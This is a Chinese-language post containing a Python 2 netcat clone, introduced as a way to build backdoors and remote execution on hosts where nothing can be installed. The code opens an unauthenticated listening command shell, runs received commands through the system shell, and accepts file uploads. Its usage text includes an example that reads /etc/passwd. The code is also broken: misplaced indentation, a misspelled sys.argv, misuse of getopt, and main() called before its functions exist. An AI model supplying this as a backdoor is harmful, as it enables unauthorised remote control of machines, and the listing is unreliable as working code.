而網路測試工具NetCat在一些後門或者遠端執行也能夠實現，在無法安裝任何東西的環境下，也能夠用python實作出來

import sys
import socket
import getopt
import threading
import subprocess

listen  = False
command = False
upload  = False
execute = ""
target  = ""
upload_destination = ""
port    = 0

def usage():
    print "NetCat Tools"
    print
    print "tutorial: netcat.py -t target_jost -p port"
    print "-l --listen              -[host]:[port]監聽連入連線"
    print "-e --execute=file_to_run -接到連線時執行指定檔案"
    print "-c --command             -啟動命令列 shell"
    print "-u --upload=destination  -接到連線時上傳檔案並寫出 [destination]"
    print
    print
    print "example:"
    print "netcat.py -t 192.168.0.1 -p 5555 -l -c"
    print "netcat.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
    print "netcat.py -t 192.168.0.1 -p 5555 -1 -e=\"cat /etc/passwd\""
    print "echo 'ABCDEFGHI' |   ./netcat.py -t 192.168.11.12 -p 135"
    sys.exit(0)

def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

        try:
            opts, args = getopt(sys.arg[1],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
        except getopt.GetoptError as err:
            print str(err)
            usage()

        for o,a in opts:
            if o in ("-h","help"):
                usage()
            elif o in ("-l","--listen"):
                listen = True
            elif o in ("-e","--execute"):
                execute = a
            elif o in ("-c", "--commandshell"):
                command = True
            elif o in ("-u", "--upload"):
                upload_destination = a
            elif o in ("-t", "--target"):
                target = a
            elif o in ("-p", "--port"):
                port = int(a)
            else:
                assert False,"選項未處理"

            if not listen and len(target) and port > 0:
                buffer = sys.stdin.read()

                client_sender(buffer)

            if listen:
                server_loop()

main()

def client_sender(buffer):

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:

        client.connect((target,port))

        if len(buffer):
            client.send(buffer)

            while True:

                recv_len = 1
                response = ""

                while recv_len:

                    data     = client.recv(4096)
                    recv_len = len(data)
                    response+= data

                    if recv_len < 4096:
                        break

                print response,

                buffer  = raw_input("")
                buffer += "\n"

                client.send(buffer)

    except:
        print "[*] Exception Exiting."

        client.close()

def server_loop():
    global target

    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))
    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()

def run_command(command):

    command = command.rstrip()

    try:

        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell = True)

    except:
        output = "指令執行失敗\r\n"

    return output

def client_handler(client_socket):
    global upload
    global execute
    global command

    if len(upload_destination):

        file_buffer = ""

        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        try:
            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            client_socket.send("Successfully saved file to %s\r\n" %upload_destination)

        except:
            client_socket.send("Failed to sava file to %s\r\n" %upload_destination)

    if len(execute):
        output = run_command(execute)

        client_socket.send(output)

    if command:

        while True:
            client_socket.send("<NetCat:#>")

            cmd_buffer = ""

            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)

            response = run_command(cmd_buffer)

            client_socket.send(response)